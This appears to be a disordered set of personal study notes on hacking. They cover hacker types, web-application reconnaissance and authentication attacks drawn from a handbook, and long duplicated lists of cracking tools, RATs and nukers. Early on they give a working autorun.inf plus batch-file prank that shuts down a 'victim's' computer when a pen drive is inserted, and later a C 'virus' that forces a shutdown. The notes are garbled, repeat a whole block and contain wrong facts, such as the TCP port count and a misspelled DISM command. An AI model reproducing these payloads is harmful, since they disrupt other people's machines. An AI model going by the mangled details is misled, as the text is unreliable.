About hacking

It is the art of exporting technologies and finding bugs for the same,

Types of hacker-

1-Black hat hacker-

These are cyber criminals their main objective is to spread cyber violance and raise money for different

criminal activities.

2-White hat hacker-

These are the good guyz having some knowledge as black hat hacker but they use the skill for the protection.

3-Grey hat hacker-

These are half devil and half angel kind of hackers.

e.g Zoo zoo hacker

4-Script Kiddes-

These are cyber kids having no knowledge about hacking,but they do hacking for a reason or

due to task assigned by some one.

Learn How to set wallpaper in pd

h with pendricve

tep 1:>>copy this code into notepad:

@echo off

shutdown -s -t 00

Save as besthacking.bat extension (for eg: besthacking.bat).

Step 2:

Now open the notepad and copy this code:

[autorun]

Open=besthacking.bat

Action=Mouse Disable

Save it as "autorun.inf"

Then copy the two files in your pen drive or victim's pen drive.

That's all whenever the victim insert his pen drive,the system will be turned off automatically.

Check How to Disable This:-

First Stop Autorun in Your Computer And Then Format Pendrive..

And If You Stop Autorun Check My Older Post - See more at: http://www.besthacking.in/2014/03/hack-friends-computer-using-pendrive.html#sthash.pGkHeU14.dpuf

We use LC6(L0PHTCRACK) software for hacking password of windows pc users.

We use

/\*etheral software/\*

to see the packets that you received in your pc.

Google hack software

sam spade sw - for footprinting

netscan and IP scan sw

1-use to find out external ip

2-Internal IP Range

IP hider pro sw

check cybersecurity emails related in sunnyvales

nettools

unit3-Mapping the applications

effective mapping is a valuable skill.

If the application provides a site map it is very beneficial.

web spidering

there are some tools that are used to enumerate application contet and functionality like burpsuite,webscarab,zed attack proxy and CAT.

many web servers contain a file named robots.txt in the web root that contain a list of URLs that the site does not want webspiders to visit or search engines to index.

1-map the application using burp suite

IEwatch tool which runs with Microsoft IE monitors all the details of request and responses,including headers,request parameters and cookies.

302 Found-The resource may be accessible only by authenticated users.

400 Bad request-the application may use custom naming scheme and files within URLs,which a particular request in not complied with.

401 Unauthorized or 403 Forbidden-this usually indicates that the requested resource exist but may not be accessed by any user regardless of authentication status or privilege level.

500 Internal Server Error- During content discovery, this usually indicates that the application expects certain parameters to be submitted when requesting the resource.

The DirBuster project from OWASP is also a useful resource when performing automated content discovery tasks. It includes large lists of directory names that have been found in the wild, ordered by frequency of occurrence.

Use of Public Information in mapping application.

site:www.wahh-target.com returns every resource within the target site that Google has a reference to.

site:www.wahh-target.com login returns all the pages containing the expression login

wikto and nikto tool for public information.These are commercial web scanners.

132

Analyze the applications find error messages,application behavious,off-site links,administrative and logging functions and use of redirects.

-The core security mechanisms and how they function — in particular, management of session state, access controls, and authentication mechanisms and supporting logic (user registration, password change, and account recovery)

-All the different locations at which the application processes user-supplied input — every URL, query string parameter, item of POST data, and cookie

-The technologies employed on the client side, including forms, clientside scripts, thick-client components (Java applets, ActiveX controls, and Flash), and cookies

-The technologies employed on the server side, including static and dynamic pages, the types of request parameters employed, the use of SSL, web server software, interaction with databases, e-mail systems, and other back-end components

Identifying Entry Points for User Input

-Every URL string up to the query string marker

-Every parameter submitted within the URL query string

-Every parameter submitted within the body of a POST request

-Every cookie

-Every other HTTP header that the application might process — in particular, the User-Agent,Referer,Accept,Accept-Language, and Host headers

URL File Paths

The parts of the URL that precede the query string are often overlooked as entry points,

A typical REST-style URL could have this format:

http://eis/shop/browse/electronics/iPhone3G/

HTTP Headers

Many applications perform custom logging functions and may log the contents of HTTP headers such as Referer and User-Agent.

Identifying Server-Side Technologies

1-Banner Grabbing -get version of server

2-HTTP Fingerprinting

Httprecon is a handy tool that performs a number of tests in an attempt to ?ngerprint a web server’s software.

3-File Extensions

asp — Microsoft Active Server Pages

aspx — Microsoft ASP.NET

jsp — Java Server Pages

cfm — Cold Fusion

php — The PHP language

d2w — WebSphere

pl — The Perl language

py — The Python language

dll — Usually compiled native code (C or C++)

nsf or ntf — Lotus Domino

A generic error message created when an unrecognized file extension is requested

4-Directory Names

servlet — Java servlets

pls — Oracle Application Server PL/SQL gateway

cfdocs or cfide — Cold Fusion

SilverStream — The SilverStream web server

WebObjects or {function}.woa — Apple WebObjects

rails — Ruby on Rails

5-Session Tokens

JSESSIONID — The Java Platform

ASPSESSIONID — Microsoft IIS server

ASP.NET\_SessionId — Microsoft ASP.NET

CFID/CFTOKEN — Cold Fusion

PHPSESSID — PHP

unit4-Bypassing Client-Side Controls

Transmitting Data Via the Client using HTTP Cookies

Hidden Form Fields

<https://www.techgig.com/tech-news/Make-tons-of-money-by-finding-bugs-in-Google-Apple-Facebook-159649?mailer_id=3276&utm_source=TG_batch&utm_medium=email&utm_campaign=digest_news_2018-02-18&etoken=c3VubnlndXB0YS5zaGl2YW1AZ21haWwuY29t&activity_name=MzMwNzc1&dt=&auto_login=VGExODN1QVlsaTQ1a0w5UUhVUXpaT0RhM1lmWUhlQTAzQlIrSU9HZTVCVWVmQUNGVHNlUHZMeCtZV3hjT1ZOZ2pwcFdkZGVVSGFBVXR6S2Fvdm1Denc9PQ==&src_type=autoLogin>

How to Block Any Website On Your Computer, Phone, or Network

By using netnanny.com

https://securitycommunity.tcs.com/infosecsoapbox/

https://whitton.io/articles/bug-bounties-101-getting-started/

http://homakov.blogspot.in/

http://sakurity.com/blog

https://labs.detectify.com/

tracert

traceroute is a cmd can show you the path if packet of information takes from your computer to one you specify..

It will list all routes it passes through until it reaches destination.

we can use this by type

tracert hostname

e.g tracert www.facebook.com

in this we also get ip of that domainname.

we have many option in traceroute

tracert -? by typing this command

kalilinux topics-

netcat,

nmap ,

wen application hacking(SQL Injection

Cross Site Scripting )

wireless hacking

system hacking

mobile hacking

metasploit framework

ddos attack

system hijacking

hacking web server

stegnography

nessus

in kali

John the ripper,pwdump,whisker software\*\*

reverse engg-ollydbg

Hack administrator password with cain and abel

Recover data from sim card

\*\*\*\*\*\*\*\*\*\*\*\*\*

back orifice rat

battle pong nuker

winnuke nuker

prjraptor

netbus

prorat

subseven(sun7)

How to shutdown computer connected to a network

Rainbow hash cracking tool is used to decrypt the data.

brutus

How to get anybodys ip address

How to shutdown computer in your network

\*\*\*\*\*\*\*\*\*\*\*\*\*

lucidroid app

backtrack

• [1]Install-Backtrack-on-Android-mobile • [2]Download-XBMC-for-Window-and-Android • [3]Get-galaxy-S4-like-Air-Gestures-on-any-Mobile • [4]Stream-video-from-Android-Mobile

splashtop.com-streamer

How to use inssider

\*\*\*\*\*\*\*\*\*\*\*\*\*\*

EtherPeek missing

QualysGuard software

LANguard Network Security Scanner

Network Stumbler

ToneLoc

Internet Scanner

Nikto

Kismet

THC-Scan

+++++++++++++++++++++

Elibrary

Virtual tourism

Ebiz

Nasscomn

Cyber security

Vlsi chip

netcat,

nmap,

wen application hacking(SQL Injection

Cross Site Scripting )

wireless hacking

system hacking

mobile hacking

metasploit framework

ddos attack

system hijacking

hacking web server

stegnography

nessus

in kali

John the ripper,pwdump,whisker software\*\*

reverse engg-ollydbg

Hack administrator password with cain and abel

Recover data from sim card

\*\*\*\*\*\*\*\*\*\*\*\*\*

back orifice rat

battle pong nuker

winnuke nuker

prjraptor

netbus

prorat

subseven(sun7)

How to shutdown computer connected to a network

Rainbow hash cracking tool is used to decrypt the data.

brutus

How to get anybodys ip address

How to shutdown computer in your network

\*\*\*\*\*\*\*\*\*\*\*\*\*

lucidroid app

backtrack

• [1]Install-Backtrack-on-Android-mobile • [2]Download-XBMC-for-Window-and-Android • [3]Get-galaxy-S4-like-Air-Gestures-on-any-Mobile • [4]Stream-video-from-Android-Mobile

splashtop.com-streamer

How to use inssider

\*\*\*\*\*\*\*\*\*\*\*\*\*\*

EtherPeek missing

QualysGuard software

LANguard Network Security Scanner

Network Stumbler

ToneLoc

Internet Scanner

Nikto

Kismet

THC-Scan

linux-

Use SSH Tunneling to surf net invisibly......

padcrypt s/w not in kali linux

Create a virus in c

Step1-Type this code

#include<stdio.h>

#include<dos.h>

int main(void)

{

System(“shutdown –s”);

Return 0;

}

Step2-

Save the above file as close.c

Step3-

Only complile the above program.

Step4-

Now open the directory where you save the file.

Step5-

Double click on its .exe file

netstat(network status) in this we check network status near you

cmd-

netstat

we get more commands by typing netstat -?

https://members.elearnsecurity.com/brochure/90000/93000/93201/index.html--Section 4 - Reversing APKsz

superscan & pscan sw

used to scan port numbers

check that ports are open or not

port scanning

IT IS USED TO DETECT TCP AND UDP PORT OF TARGET COMPUTER.

THERE ARE BASICALLY 65525 TCP PORTS AND 65535 UDP PORTS.

80-HTTP

21-FTP

25-SMTP

OPEN PORTS SHOWS THAT THE SITE IS VULNERABLE AND CAN BE EXPLOITED

unit 6 from web application hackers handbook

Attacking Authentication--

\*\*Authentication Technologies-

HTML forms-based authentication(90% used)

Multifactor mechanisms, such as those combining passwords and physical tokens(In the most security-critical applications, such as private banking for high-worth individuals)(otp)

Client SSL certificates or cryptographic mechanisms implemented within smartcards(e.g, web-based VPNs for remote office workers)

HTTP based authentication(encountered in intranet environments where an organization’s internal users gain access to corporate applications by supplying their normal network or domain credentials)

Windows-integrated authentication using NTLM or Kerberos

Authentication services

Note:Third-party authentication services such as Microsoft Passport are occasionally encountered.

\*\*Design Flaws in Authentication Mechanisms

1-Bad Passwords

--Very short or blank

--Common dictionary words or names

--The same as the username

--Still set to a default value

HACK STEPS

Review the website for any description of the rules.

If self-registration is possible, attempt to register several accounts with different kinds of weak passwords to discover what rules are in place.

If you control a single account and password change is possible, attempt to change your password to various weak values.

2-Brute-Forcible Login

The most popular real-world passwords:

n password

n website name

n 12345678

n qwerty

n abc123

n 111111

n monkey

n 12345

n letmein

//in chapter 14 they use various tools to find password

By using Burp Intruder

The successful login attempt can be clearly distinguished by the difference in the HTTP response code, the response length, and the absence of the “login incorrect” message.

Hacking softewares-

microsoftt's bitlocker software-

surespot

scratch software

haccking zone forums---

=-----------

1-evilzone hacking forums

2-hack a day

3-hack in te box

4-hack the site

fbi uses two software to eavesdrop on the system of isp which are carnivore and naruslnsight.

eavesdrooping is the act of supersytiously listening to a private conversation b/w hosts on a network.

1-Acunetix

2-nessus

3-retina

4-metasploit framework

hacking tools that are important are..---

------------------------

1-nmap

2-nessus remote security scanner

3-wireshark

4-cain and abel

5-kismet

6-netstumbler

cain and abel

7-superscan

for correcing windows error we use dism

------

i.e dism.exe/online/cleanupimage/restirehealth

Dism.exe/online/cleanup-image/restirehealth

lucydriver or lucydriver

. **I need to Focus on these Topics**

**1-Cyber forensics**

**2-Cyber crime investigation**

**3-Computer forensics**

**4-CEH-Certified ethical hacker**

**5-Networking concepts**